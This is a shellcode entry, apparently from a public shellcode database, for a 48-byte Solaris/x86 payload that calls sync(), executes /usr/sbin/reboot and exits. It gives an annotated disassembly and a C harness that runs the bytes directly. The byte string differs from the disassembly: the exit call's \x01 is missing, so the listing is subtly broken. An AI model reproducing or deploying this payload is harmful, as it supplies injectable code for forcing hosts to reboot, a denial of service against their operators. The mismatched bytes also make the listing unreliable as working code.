48 bytes small sync() and reboot() and exit(0) Solaris / x86 shellcode.
76856ffb4dd467201e8a6f8120d47007a8b706b4fedd091602534c770d126311
/*
Title: Solaris/x86 - Sync() & reboot() & exit(0) - 48 bytes
Author: Jonathan Salwan <submit AT shell-storm.org>
Web: http://www.shell-storm.org
Twitter: http://twitter.com/shell_storm
! Database of shellcodes: http://www.shell-storm.org/shellcode/
Date: 2010-06-07
Tested: SunOS opensolaris 5.11 snv_111b i86pc i386 i86pc Solaris
0x8048074: 31 c0 xorl %eax,%eax
0x8048076: b0 24 movb $0x24,%al
0x8048078: cd 91 int $0x91
0x804807a: 31 c0 xorl %eax,%eax
0x804807c: 50 pushl %eax
0x804807d: 68 62 6f 6f 74 pushl $0x746f6f62
0x8048082: 68 6e 2f 72 65 pushl $0x65722f6e
0x8048087: 68 2f 73 62 69 pushl $0x6962732f
0x804808c: 68 2f 75 73 72 pushl $0x7273752f
0x8048091: 89 e3 movl %esp,%ebx
0x8048093: 50 pushl %eax
0x8048094: 53 pushl %ebx
0x8048095: 89 e1 movl %esp,%ecx
0x8048097: 50 pushl %eax
0x8048098: 51 pushl %ecx
0x8048099: 53 pushl %ebx
0x804809a: b0 0b movb $0xb,%al
0x804809c: 50 pushl %eax
0x804809d: cd 91 int $0x91
0x804809f: 31 db xorl %ebx,%ebx
0x80480a1: b0 01 movb $0x1,%al
0x80480a3: cd 91 int $0x91
*/
#include <stdio.h>
char sc[] = "\x31\xc0\xb0\x24\xcd\x91\x31\xc0\x50\x68"
"\x62\x6f\x6f\x74\x68\x6e\x2f\x72\x65\x68"
"\x2f\x73\x62\x69\x68\x2f\x75\x73\x72\x89"
"\xe3\x50\x53\x89\xe1\x50\x51\x53\xb0\x0b"
"\x50\xcd\x91\x31\xdb\xb0\xcd\x91";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(sc));
(*(void(*)()) sc)();
return 0;
}